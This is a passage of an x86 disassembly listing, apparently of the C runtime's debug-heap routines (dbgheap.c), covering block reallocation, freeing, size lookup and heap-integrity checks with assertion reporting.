[ebp+var_4] add edx, [ecx+10h] push edx call sub_41D100 add esp, 0Ch loc_41B6BF: ; CODE XREF: sub_41B330+369j push 4 xor eax, eax mov al, ds:byte_44FA4C push eax mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] push ecx call sub_41D100 add esp, 0Ch cmp [ebp+var_14], 0 jnz short loc_41B6F9 mov edx, [ebp+var_C] mov eax, [ebp+arg_C] mov [edx+8], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_10] mov [ecx+0Ch], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_10] mov [eax+18h], ecx loc_41B6F9: ; CODE XREF: sub_41B330+3ACj mov edx, [ebp+var_C] mov eax, [ebp+arg_4] mov [edx+10h], eax loc_41B702: ; CODE XREF: sub_41B330+40Bj cmp [ebp+arg_14], 0 jnz short loc_41B737 cmp [ebp+arg_14], 0 jnz short loc_41B716 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_8] jz short loc_41B737 loc_41B716: ; CODE XREF: sub_41B330+3DCj push offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "... push 0 push 2A8h push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41B737 int 3 ; Trap to Debugger loc_41B737: ; CODE XREF: sub_41B330+3D6j ; sub_41B330+3E4j ... xor edx, edx test edx, edx jnz short loc_41B702 mov eax, [ebp+var_C] cmp eax, [ebp+var_8] jz short loc_41B74B cmp [ebp+var_14], 0 jz short loc_41B753 loc_41B74B: ; CODE XREF: sub_41B330+413j mov eax, [ebp+var_4] jmp loc_41B83A ; --------------------------------------------------------------------------- loc_41B753: ; CODE XREF: sub_41B330+419j mov ecx, [ebp+var_C] cmp dword ptr [ecx], 0 jz short loc_41B76B mov edx, [ebp+var_C] mov eax, [edx] mov ecx, [ebp+var_C] mov edx, [ecx+4] mov [eax+4], edx jmp short loc_41B7A7 ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B330+429j ; sub_41B330+46Aj mov eax, ds:dword_4EE954 cmp eax, [ebp+var_8] jz short loc_41B796 push offset a_plastblockPol ; "_pLastBlock == pOldBlock" push 0 push 2B7h push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41B796 int 3 ; Trap to Debugger loc_41B796: ; CODE XREF: sub_41B330+443j ; sub_41B330+463j xor ecx, ecx test ecx, ecx jnz short loc_41B76B mov edx, [ebp+var_C] mov eax, [edx+4] mov ds:dword_4EE954, eax loc_41B7A7: ; CODE XREF: sub_41B330+439j mov ecx, [ebp+var_C] cmp dword ptr [ecx+4], 0 jz short loc_41B7BF mov edx, [ebp+var_C] mov eax, [edx+4] mov ecx, [ebp+var_C] mov edx, [ecx] mov [eax], edx jmp short loc_41B7FA ; --------------------------------------------------------------------------- loc_41B7BF: ; CODE XREF: sub_41B330+47Ej ; sub_41B330+4BEj mov eax, ds:dword_4EE95C cmp eax, [ebp+var_8] jz short loc_41B7EA push offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock" push 0 push 2C2h push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41B7EA int 3 ; Trap to Debugger loc_41B7EA: ; CODE XREF: sub_41B330+497j ; sub_41B330+4B7j xor ecx, ecx test ecx, ecx jnz short loc_41B7BF mov edx, [ebp+var_C] mov eax, [edx] mov ds:dword_4EE95C, eax loc_41B7FA: ; CODE XREF: sub_41B330+48Dj cmp ds:dword_4EE95C, 0 jz short loc_41B811 mov ecx, ds:dword_4EE95C mov edx, [ebp+var_C] mov [ecx+4], edx jmp short loc_41B819 ; --------------------------------------------------------------------------- loc_41B811: ; CODE XREF: sub_41B330+4D1j mov eax, [ebp+var_C] mov ds:dword_4EE954, eax loc_41B819: ; CODE XREF: sub_41B330+4DFj mov ecx, [ebp+var_C] mov edx, ds:dword_4EE95C mov [ecx], edx mov eax, [ebp+var_C] mov dword ptr [eax+4], 0 mov ecx, [ebp+var_C] mov ds:dword_4EE95C, ecx mov eax, [ebp+var_4] loc_41B83A: ; CODE XREF: sub_41B330+2Ej ; sub_41B330+51j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41B330 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_41B870 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B870 proc near ; CODE XREF: seg000:0041B861p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push 9 call sub_421A80 add esp, 4 push 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41B330 add esp, 18h mov [ebp+var_4], eax push 9 call sub_421B20 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41B870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B8B0 proc near ; CODE XREF: seg000:00401121p ; sub_402533+B7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 mov eax, [ebp+arg_0] push eax call sub_41B8F0 add esp, 8 pop ebp retn sub_41B8B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_41B920 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B8F0 proc near ; CODE XREF: sub_41AD80+98p ; sub_41B330+47p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 9 call sub_421A80 add esp, 4 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41B920 add esp, 8 push 9 call sub_421B20 add esp, 4 pop ebp retn sub_41B8F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B920 proc near ; CODE XREF: seg000:0041B8D9p ; sub_41B8F0+15p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, ds:dword_44FA40 and eax, 4 test eax, eax jz short loc_41B963 loc_41B933: ; CODE XREF: sub_41B920+41j call sub_41C000 test eax, eax jnz short loc_41B95D push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 3E1h push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41B95D int 3 ; Trap to Debugger loc_41B95D: ; CODE XREF: sub_41B920+1Aj ; sub_41B920+3Aj xor ecx, ecx test ecx, ecx jnz short loc_41B933 loc_41B963: ; CODE XREF: sub_41B920+11j cmp [ebp+arg_0], 0 jnz short loc_41B96E jmp loc_41BD05 ; --------------------------------------------------------------------------- loc_41B96E: ; CODE XREF: sub_41B920+47j push 0 push 0 push 0 mov edx, [ebp+arg_4] push edx push 0 mov eax, [ebp+arg_0] push eax push 3 call ds:off_44FE20 add esp, 1Ch test eax, eax jnz short loc_41B9B8 loc_41B98D: ; CODE XREF: sub_41B920+91j push offset aClientHookFree ; "Client hook free failure.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41B9AD int 3 ; Trap to Debugger loc_41B9AD: ; CODE XREF: sub_41B920+8Aj xor ecx, ecx test ecx, ecx jnz short loc_41B98D jmp loc_41BD05 ; --------------------------------------------------------------------------- loc_41B9B8: ; CODE XREF: sub_41B920+6Bj ; sub_41B920+CDj mov edx, [ebp+arg_0] push edx call sub_41C460 add esp, 4 test eax, eax jnz short loc_41B9E9 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 3F3h push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41B9E9 int 3 ; Trap to Debugger loc_41B9E9: ; CODE XREF: sub_41B920+A6j ; sub_41B920+C6j xor eax, eax test eax, eax jnz short loc_41B9B8 mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_4], ecx loc_41B9F8: ; CODE XREF: sub_41B920+12Fj mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41BA4B mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 1 jz short loc_41BA4B mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41BA4B mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 3 jz short loc_41BA4B push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 3F9h push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41BA4B int 3 ; Trap to Debugger loc_41BA4B: ; CODE XREF: sub_41B920+E6j ; sub_41B920+EFj ... xor edx, edx test edx, edx jnz short loc_41B9F8 mov eax, ds:dword_44FA40 and eax, 4 test eax, eax jnz loc_41BB26 push 4 mov cl, ds:byte_44FA4C push ecx mov edx, [ebp+var_4] add edx, 1Ch push edx call sub_41BF70 add esp, 0Ch test eax, eax jnz short loc_41BAC0 loc_41BA7D: ; CODE XREF: sub_41B920+19Ej mov eax, [ebp+var_4] add eax, 20h push eax mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, ds:off_44FA50[ecx*4] push edx push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 push 0 push 0 push 1 call loc_420E10 add esp, 20h cmp eax, 1 jnz short loc_41BABA int 3 ; Trap to Debugger loc_41BABA: ; CODE XREF: sub_41B920+197j xor eax, eax test eax, eax jnz short loc_41BA7D loc_41BAC0: ; CODE XREF: sub_41B920+15Bj push 4 mov cl, ds:byte_44FA4C push ecx mov edx, [ebp+var_4] mov eax, [edx+10h] mov ecx, [ebp+var_4] lea edx, [ecx+eax+20h] push edx call sub_41BF70 add esp, 0Ch test eax, eax jnz short loc_41BB26 loc_41BAE3: ; CODE XREF: sub_41B920+204j mov eax, [ebp+var_4] add eax, 20h push eax mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, ds:off_44FA50[ecx*4] push edx push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 push 0 push 0 push 1 call loc_420E10 add esp, 20h cmp eax, 1 jnz short loc_41BB20 int 3 ; Trap to Debugger loc_41BB20: ; CODE XREF: sub_41B920+1FDj xor eax, eax test eax, eax jnz short loc_41BAE3 loc_41BB26: ; CODE XREF: sub_41B920+13Bj ; sub_41B920+1C1j mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 3 jnz short loc_41BB9B loc_41BB2F: ; CODE XREF: sub_41B920+249j mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_41BB44 mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 0 jz short loc_41BB65 loc_41BB44: ; CODE XREF: sub_41B920+219j push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"... push 0 push 40Eh push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41BB65 int 3 ; Trap to Debugger loc_41BB65: ; CODE XREF: sub_41B920+222j ; sub_41B920+242j xor ecx, ecx test ecx, ecx jnz short loc_41BB2F mov edx, [ebp+var_4] mov eax, [edx+10h] add eax, 24h push eax xor ecx, ecx mov cl, ds:byte_44FA4D push ecx mov edx, [ebp+var_4] push edx call sub_41D100 add esp, 0Ch mov eax, [ebp+var_4] push eax call sub_421F00 add esp, 4 jmp loc_41BD05 ; --------------------------------------------------------------------------- loc_41BB9B: ; CODE XREF: sub_41B920+20Dj mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 2 jnz short loc_41BBB1 cmp [ebp+arg_4], 1 jnz short loc_41BBB1 mov [ebp+arg_4], 2 loc_41BBB1: ; CODE XREF: sub_41B920+282j ; sub_41B920+288j ... mov edx, [ebp+var_4] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_41BBDD push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 push 41Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41BBDD int 3 ; Trap to Debugger loc_41BBDD: ; CODE XREF: sub_41B920+29Aj ; sub_41B920+2BAj xor ecx, ecx test ecx, ecx jnz short loc_41BBB1 mov edx, [ebp+var_4] mov eax, ds:dword_4EE960 sub eax, [edx+10h] mov ds:dword_4EE960, eax mov ecx, ds:dword_44FA40 and ecx, 2 test ecx, ecx jnz loc_41BCDC mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_41BC1C mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx+4] mov [ecx+4], eax jmp short loc_41BC5A ; --------------------------------------------------------------------------- loc_41BC1C: ; CODE XREF: sub_41B920+2EAj ; sub_41B920+32Cj mov ecx, ds:dword_4EE954 cmp ecx, [ebp+var_4] jz short loc_41BC48 push offset a_plastblockPhe ; "_pLastBlock == pHead" push 0 push 42Ah push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41BC48 int 3 ; Trap to Debugger loc_41BC48: ; CODE XREF: sub_41B920+305j ; sub_41B920+325j xor edx, edx test edx, edx jnz short loc_41BC1C mov eax, [ebp+var_4] mov ecx, [eax+4] mov ds:dword_4EE954, ecx loc_41BC5A: ; CODE XREF: sub_41B920+2FAj mov edx, [ebp+var_4] cmp dword ptr [edx+4], 0 jz short loc_41BC72 mov eax, [ebp+var_4] mov ecx, [eax+4] mov edx, [ebp+var_4] mov eax, [edx] mov [ecx], eax jmp short loc_41BCAF ; --------------------------------------------------------------------------- loc_41BC72: ; CODE XREF: sub_41B920+341j ; sub_41B920+382j mov ecx, ds:dword_4EE95C cmp ecx, [ebp+var_4] jz short loc_41BC9E push offset a_pfirstblockPh ; "_pFirstBlock == pHead" push 0 push 434h push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41BC9E int 3 ; Trap to Debugger loc_41BC9E: ; CODE XREF: sub_41B920+35Bj ; sub_41B920+37Bj xor edx, edx test edx, edx jnz short loc_41BC72 mov eax, [ebp+var_4] mov ecx, [eax] mov ds:dword_4EE95C, ecx loc_41BCAF: ; CODE XREF: sub_41B920+350j mov edx, [ebp+var_4] mov eax, [edx+10h] add eax, 24h push eax xor ecx, ecx mov cl, ds:byte_44FA4D push ecx mov edx, [ebp+var_4] push edx call sub_41D100 add esp, 0Ch mov eax, [ebp+var_4] push eax call sub_421F00 add esp, 4 jmp short loc_41BD05 ; --------------------------------------------------------------------------- loc_41BCDC: ; CODE XREF: sub_41B920+2DEj mov ecx, [ebp+var_4] mov dword ptr [ecx+14h], 0 mov edx, [ebp+var_4] mov eax, [edx+10h] push eax xor ecx, ecx mov cl, ds:byte_44FA4D push ecx mov edx, [ebp+var_4] add edx, 20h push edx call sub_41D100 add esp, 0Ch loc_41BD05: ; CODE XREF: sub_41B920+49j ; sub_41B920+93j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41B920 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_41BD30 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD30 proc near ; CODE XREF: seg000:0041BD19p ; sub_41FDB0+11p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, ds:dword_44FA40 and eax, 4 test eax, eax jz short loc_41BD75 loc_41BD45: ; CODE XREF: sub_41BD30+43j call sub_41C000 test eax, eax jnz short loc_41BD6F push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 47Ch push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41BD6F int 3 ; Trap to Debugger loc_41BD6F: ; CODE XREF: sub_41BD30+1Cj ; sub_41BD30+3Cj xor ecx, ecx test ecx, ecx jnz short loc_41BD45 loc_41BD75: ; CODE XREF: sub_41BD30+13j push 9 call sub_421A80 add esp, 4 loc_41BD7F: ; CODE XREF: sub_41BD30+84j mov edx, [ebp+arg_0] push edx call sub_41C460 add esp, 4 test eax, eax jnz short loc_41BDB0 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 485h push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41BDB0 int 3 ; Trap to Debugger loc_41BDB0: ; CODE XREF: sub_41BD30+5Dj ; sub_41BD30+7Dj xor eax, eax test eax, eax jnz short loc_41BD7F mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_8], ecx loc_41BDBF: ; CODE XREF: sub_41BD30+E6j mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41BE12 mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 1 jz short loc_41BE12 mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41BE12 mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jz short loc_41BE12 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 48Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41BE12 int 3 ; Trap to Debugger loc_41BE12: ; CODE XREF: sub_41BD30+9Dj ; sub_41BD30+A6j ... xor edx, edx test edx, edx jnz short loc_41BDBF mov eax, [ebp+var_8] cmp dword ptr [eax+14h], 2 jnz short loc_41BE2E cmp [ebp+arg_4], 1 jnz short loc_41BE2E mov [ebp+arg_4], 2 loc_41BE2E: ; CODE XREF: sub_41BD30+EFj ; sub_41BD30+F5j mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jz short loc_41BE69 loc_41BE37: ; CODE XREF: sub_41BD30+137j mov edx, [ebp+var_8] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_41BE63 push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 push 492h push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41BE63 int 3 ; Trap to Debugger loc_41BE63: ; CODE XREF: sub_41BD30+110j ; sub_41BD30+130j xor ecx, ecx test ecx, ecx jnz short loc_41BE37 loc_41BE69: ; CODE XREF: sub_41BD30+105j mov edx, [ebp+var_8] mov eax, [edx+10h] mov [ebp+var_4], eax push 9 call sub_421B20 add esp, 4 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41BD30 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, ds:dword_44FA48 mov [ebp-4], eax mov ecx, [ebp+8] mov ds:dword_44FA48, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi push 9 call sub_421A80 add esp, 4 mov eax, [ebp+8] push eax call sub_41C460 add esp, 4 test eax, eax jz short loc_41BF3C mov ecx, [ebp+8] sub ecx, 20h mov [ebp-4], ecx loc_41BEDA: ; CODE XREF: seg000:0041BF31j mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41BF2D mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 1 jz short loc_41BF2D mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41BF2D mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 3 jz short loc_41BF2D push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 4D3h push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41BF2D int 3 ; Trap to Debugger loc_41BF2D: ; CODE XREF: seg000:0041BEE8j ; seg000:0041BEF1j ... xor edx, edx test edx, edx jnz short loc_41BEDA mov eax, [ebp-4] mov ecx, [ebp+0Ch] mov [eax+14h], ecx loc_41BF3C: ; CODE XREF: seg000:0041BECFj push 9 call sub_421B20 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, ds:off_44FE20 mov [ebp-4], eax mov ecx, [ebp+8] mov ds:off_44FE20, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BF70 proc near ; CODE XREF: sub_41B920+151p ; sub_41B920+1B7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], 1 loc_41BF7E: ; CODE XREF: sub_41BF70:loc_41BFECj mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx test eax, eax jz short loc_41BFEE mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_4] and ecx, 0FFh mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx cmp eax, ecx jz short loc_41BFEC loc_41BFAB: ; CODE XREF: sub_41BF70+73j mov eax, [ebp+arg_4] and eax, 0FFh push eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx-1] push edx mov eax, [ebp+arg_0] sub eax, 1 push eax push offset aMemoryCheckErr ; "memory check error at 0x%08X = 0x%02X, "... push 0 push 0 push 0 push 0 call loc_420E10 add esp, 20h cmp eax, 1 jnz short loc_41BFDF int 3 ; Trap to Debugger loc_41BFDF: ; CODE XREF: sub_41BF70+6Cj xor ecx, ecx test ecx, ecx jnz short loc_41BFAB mov [ebp+var_4], 0 loc_41BFEC: ; CODE XREF: sub_41BF70+39j jmp short loc_41BF7E ; --------------------------------------------------------------------------- loc_41BFEE: ; CODE XREF: sub_41BF70+1Cj mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41BF70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C000 proc near ; CODE XREF: sub_41AF30:loc_41AF4Cp ; sub_41B330:loc_41B392p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_4], 1 mov eax, ds:dword_44FA40 and eax, 1 test eax, eax jnz short loc_41C026 mov eax, 1 jmp loc_41C358 ; --------------------------------------------------------------------------- loc_41C026: ; CODE XREF: sub_41C000+1Aj push 9 call sub_421A80 add esp, 4 call sub_421F70 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jz loc_41C149 cmp [ebp+var_C], 0FFFFFFFEh jz loc_41C149 mov ecx, [ebp+var_C] mov [ebp+var_18], ecx mov edx, [ebp+var_18] add edx, 6 mov [ebp+var_18], edx cmp [ebp+var_18], 3 ja loc_41C112 mov eax, [ebp+var_18] jmp ds:off_41C35F[eax*4] loc_41C06F: ; CODE XREF: sub_41C000+93j ; DATA XREF: seg000:0041C36Bo push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41C08F int 3 ; Trap to Debugger loc_41C08F: ; CODE XREF: sub_41C000+8Cj xor ecx, ecx test ecx, ecx jnz short loc_41C06F jmp loc_41C138 ; --------------------------------------------------------------------------- loc_41C09A: ; CODE XREF: sub_41C000+68j ; sub_41C000+BEj ; DATA XREF: ... push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41C0BA int 3 ; Trap to Debugger loc_41C0BA: ; CODE XREF: sub_41C000+B7j xor edx, edx test edx, edx jnz short loc_41C09A jmp short loc_41C138 ; --------------------------------------------------------------------------- loc_41C0C2: ; CODE XREF: sub_41C000+68j ; sub_41C000+E6j ; DATA XREF: ... push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41C0E2 int 3 ; Trap to Debugger loc_41C0E2: ; CODE XREF: sub_41C000+DFj xor eax, eax test eax, eax jnz short loc_41C0C2 jmp short loc_41C138 ; --------------------------------------------------------------------------- loc_41C0EA: ; CODE XREF: sub_41C000+68j ; sub_41C000+10Ej ; DATA XREF: ... push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41C10A int 3 ; Trap to Debugger loc_41C10A: ; CODE XREF: sub_41C000+107j xor ecx, ecx test ecx, ecx jnz short loc_41C0EA jmp short loc_41C138 ; --------------------------------------------------------------------------- loc_41C112: ; CODE XREF: sub_41C000+5Fj ; sub_41C000+136j push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41C132 int 3 ; Trap to Debugger loc_41C132: ; CODE XREF: sub_41C000+12Fj xor edx, edx test edx, edx jnz short loc_41C112 loc_41C138: ; CODE XREF: sub_41C000+95j ; sub_41C000+C0j ... push 9 call sub_421B20 add esp, 4 xor eax, eax jmp loc_41C358 ; --------------------------------------------------------------------------- loc_41C149: ; CODE XREF: sub_41C000+3Cj ; sub_41C000+46j mov eax, ds:dword_4EE95C mov [ebp+var_8], eax jmp short loc_41C15B ; --------------------------------------------------------------------------- loc_41C153: ; CODE XREF: sub_41C000:loc_41C346j mov ecx, [ebp+var_8] mov edx, [ecx] mov [ebp+var_8], edx loc_41C15B: ; CODE XREF: sub_41C000+151j cmp [ebp+var_8], 0 jz loc_41C34B mov [ebp+var_10], 1 mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 4 jz short loc_41C1A0 mov edx, [ebp+var_8] cmp dword ptr [edx+14h], 1 jz short loc_41C1A0 mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 2 jz short loc_41C1A0 mov edx, [ebp+var_8] cmp dword ptr [edx+14h], 3 jnz short loc_41C1B8 loc_41C1A0: ; CODE XREF: sub_41C000+17Bj ; sub_41C000+184j ... mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, ds:off_44FA50[ecx*4] mov [ebp+var_14], edx jmp short loc_41C1BF ; --------------------------------------------------------------------------- loc_41C1B8: ; CODE XREF: sub_41C000+19Ej mov [ebp+var_14], offset aDamaged ; "DAMAGED" loc_41C1BF: ; CODE XREF: sub_41C000+1B6j push 4 mov al, ds:byte_44FA4C push eax mov ecx, [ebp+var_8] add ecx, 1Ch push ecx call sub_41BF70 add esp, 0Ch test eax, eax jnz short loc_41C214 loc_41C1DA: ; CODE XREF: sub_41C000+20Bj mov edx, [ebp+var_8] add edx, 20h push edx mov eax, [ebp+var_8] mov ecx, [eax+18h] push ecx mov edx, [ebp+var_14] push edx push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 push 0 push 0 push 0 call loc_420E10 add esp, 20h cmp eax, 1 jnz short loc_41C207 int 3 ; Trap to Debugger loc_41C207: ; CODE XREF: sub_41C000+204j xor eax, eax test eax, eax jnz short loc_41C1DA mov [ebp+var_10], 0 loc_41C214: ; CODE XREF: sub_41C000+1D8j push 4 mov cl, ds:byte_44FA4C push ecx mov edx, [ebp+var_8] mov eax, [edx+10h] mov ecx, [ebp+var_8] lea edx, [ecx+eax+20h] push edx call sub_41BF70 add esp, 0Ch test eax, eax jnz short loc_41C271 loc_41C237: ; CODE XREF: sub_41C000+268j mov eax, [ebp+var_8] add eax, 20h push eax mov ecx, [ebp+var_8] mov edx, [ecx+18h] push edx mov eax, [ebp+var_14] push eax push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 push 0 push 0 push 0 call loc_420E10 add esp, 20h cmp eax, 1 jnz short loc_41C264 int 3 ; Trap to Debugger loc_41C264: ; CODE XREF: sub_41C000+261j xor ecx, ecx test ecx, ecx jnz short loc_41C237 mov [ebp+var_10], 0 loc_41C271: ; CODE XREF: sub_41C000+235j mov edx, 